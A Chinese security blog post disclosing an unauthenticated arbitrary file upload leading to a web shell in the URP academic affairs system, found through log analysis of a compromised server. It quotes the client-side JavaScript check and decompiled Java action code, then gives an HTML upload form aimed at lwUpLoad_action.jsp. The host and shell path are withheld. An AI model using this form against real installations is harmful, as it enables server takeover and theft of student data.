URP综合教务系统通杀第三弹(无需登录GETSHELL)

 

如上所述,这次发现是从被入侵的URP的日志分析开始的。经后续测试通杀1.38 1.5, 181519282a12f7e730bafceb1bc2d770ec671531 061120260bbdb4beb17219501493fab5ebcbc85b 由第一个日志我们看到了这个入侵者在没有对lwUpLoad_action.jsp这个页面访问而是直接POST数据过去,说明这个入侵者早就知道了这个漏洞的利用方法,并且肯定已经入侵了不少相同的系统。 既然知道了入侵者是通过那个地方进入的,剩下的就开始分析吧。 首先,这个系统使用了Smartupload组件,先来看下lwUpLoad_action的部分源码。

1

初步一看这个代码没啥问题吧,这个文件名使用学号命名的,也符合正常逻辑..继续看这个uploadlwyw.jsp的一部分代码,

 

</code>

function doUpload(){

var chooseFile = null;

var chooseFileType = null;//选择的文件类型

var uploadlwyw = document.uploadLwywForm.theFile.value;

var pos = uploadlwyw.lastIndexOf(".");

var uploadlwywType = uploadlwyw.substring(pos + 1,uploadlwyw.length);//上传文件的类型

if(uploadlwywType.toLowerCase()=="docx"){

uploadlwywType = "doc";

}

//得到用户选择的文件类型

for(var i=0;i<3;i++){

if(document.uploadLwywForm.wjlx[i].checked){

chooseFileType = document.uploadLwywForm.wjlx[i].value;

if(chooseFileType == "doc"){

chooseFile = "word";

}

if(chooseFileType == "pdf"){

chooseFile = "pdf";

}

if(chooseFileType == "zip"){

chooseFile = "latex";

}

}

}

//与上传的文件类型比较

if(uploadlwywType.toLowerCase() != chooseFileType){

alert("论文原文请上传" + chooseFile + "类型的文件!");

return false;

}

if(document.uploadLwywForm.lwywwbb.value == "" && chooseFile == "word"){//版本判断

alert("提交word类型的论文原文需添版本号!");

document.uploadLwywForm.lwywwbb.focus();

return false;

}

document.uploadLwywForm.action="lwUpLoad_action.jsp";

document.uploadLwywForm.submit();

}

//改变上传文件类型

function doChange(type){

if(type != "word"){

document.uploadLwywForm.lwywwbb.value ="";

document.uploadLwywForm.lwywwbb.disabled = true;

}else{

document.uploadLwywForm.lwywwbb.disabled = false;

}

}

这你妹这么重要的上传用js写不是打脸吗…在这里也没有限制上传类型,当然还得看后端的处理,别急,马上就来。我们来看下UploadLwywAction,这个路径我不写了,自己找吧,这是个java字节码,需要反编译成java源码,我把错误处理的去掉,上传部分代码如下


String action = httpServletRequest.getParameter("actionType");

if (action.equals("upload"))

return upload(actionMapping, actionForm, httpServletRequest, httpServletResponse);

public ActionForward upload(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse)

{

UploadLwywForm form;

UploadLwywForm uploadLwywActionForm = (UploadLwywForm)actionForm;

HttpSession session = httpServletRequest.getSession(false);

UserInforVO userInfor = (UserInforVO)session.getAttribute("userInfor");

form = (UploadLwywForm)actionForm;

if (isSuccess.equals("yes"))

{

String zxjxjhh = form.getZxjxjhh();

String tmbh = form.getTmbh();

String xh = form.getXh();

LwLwxxbId lwLwxxbId = new LwLwxxbId(new LwXtb(new LwXtbId(new LwTmxxb(new LwTmxxbId(zxjxjhh, tmbh)), xh)));

LwLwxxbLogic lwLwxxbLogic = new LwLwxxbLogic();

LwLwxxb lwLwxxb = lwLwxxbLogic.getLwxxb(lwLwxxbId);

}

这后端也没有处理啊,我擦这不是个任意文件上传吗…自己写个表单就好了…


<form action="http://x.x.x.x/lwUpLoad_action.jsp" method="post" enctype="multipart/form-data" >

<input type="file" name="theFile" id="File"/>

<input type="text" name="xh" id="context"/>

<input type="submit" value="show me the shell" >

</form>

修改的位置你懂得,shell地址我不明写了,稍微看得懂代码就行,防止某些人直接利用好吧…

漏洞证明略

发表评论

电子邮件地址不会被公开。 必填项已用*标注